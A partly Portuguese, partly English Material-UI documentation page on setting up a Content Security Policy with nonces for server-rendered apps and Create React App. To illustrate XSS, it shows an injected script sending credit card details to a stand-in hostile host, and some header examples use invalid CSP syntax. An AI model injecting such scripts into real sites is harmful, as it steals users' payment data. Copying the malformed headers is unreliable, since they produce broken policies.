Pular para o conteúdo

Política de segurança de conteúdo (CSP)

Esta seção abrange os detalhes da criação de um CSP.

O que é CSP e por que é útil?

CSP reduz os ataques de cross-site scripting (XSS) exigindo que os desenvolvedores incluam na whitelist as fontes de onde seus assets são recuperados. Esta lista é retornada como um cabeçalho do servidor. Por exemplo, digamos que você tenha um site hospedado em https://example.com o cabeçalho CSP default-src: 'self'; permitirá todos os assets localizados em https://example.com/* e negar todos os outros. Se houver uma seção do seu site que é vulnerável ao XSS, onde a entrada do usuário de unescaped é exibida, um invasor pode inserir algo como:

<script>
  sendCreditCardDetails('https://hostile.example');
</script>

Esta vulnerabilidade permitiria que o invasor executasse qualquer coisa. No entanto, com um cabeçalho CSP seguro, o navegador não carregará esse script.

Você pode ler mais sobre o CSP no MDN Web Docs.

Como se implementa o CSP?

Renderização do lado do Servidor (SSR)

Para usar o CSP com Material-UI (e JSS), você precisa usar um nonce. Um nonce é uma string gerada aleatoriamente que é usada apenas uma vez, portanto, você precisa adicionar um middleware de servidor para gerar um em cada solicitação.

Um nonce CSP é uma string codificada na Base 64. Você pode gerar um assim:

import uuidv4 from 'uuid/v4';

const nonce = new Buffer(uuidv4()).toString('base64');

Você deve usar o UUID versão 4, pois ele gera uma string imprevisível. Em seguida, você aplica esse nonce ao cabeçalho do CSP. Um cabeçalho CSP pode ser assim com o nonce aplicado:

header('Content-Security-Policy').set(
  `default-src 'self'; style-src: 'self' 'nonce-${nonce}';`,
);

Você deve passar o nonce na tag <style> no servidor.

<style
  id="jss-server-side"
  nonce={nonce}
  dangerouslySetInnerHTML={{
    __html: sheets.toString(),
  }}
/>

Then, you must pass this nonce to Emotion's cache so it can add it to subsequent <style>.

<head>
  <meta property="csp-nonce" content="this-is-a-nonce-123" />
</head>

Create React App (CRA)

According to the Create React App Docs, a Create React App will dynamically embed the runtime script into index.html during the production build by default. This will require a new hash to be set in your CSP during each deployment.

To use a CSP with a project initialized as a Create React App, you will need to set the INLINE_RUNTIME_CHUNK=false variable in the .env file used for your production build. This will import the runtime script as usual instead of embedding it, avoiding the need to set a new hash during each deployment.

global-css

The configuration of the nonce is not straightforward, but you can follow this issue for more insights.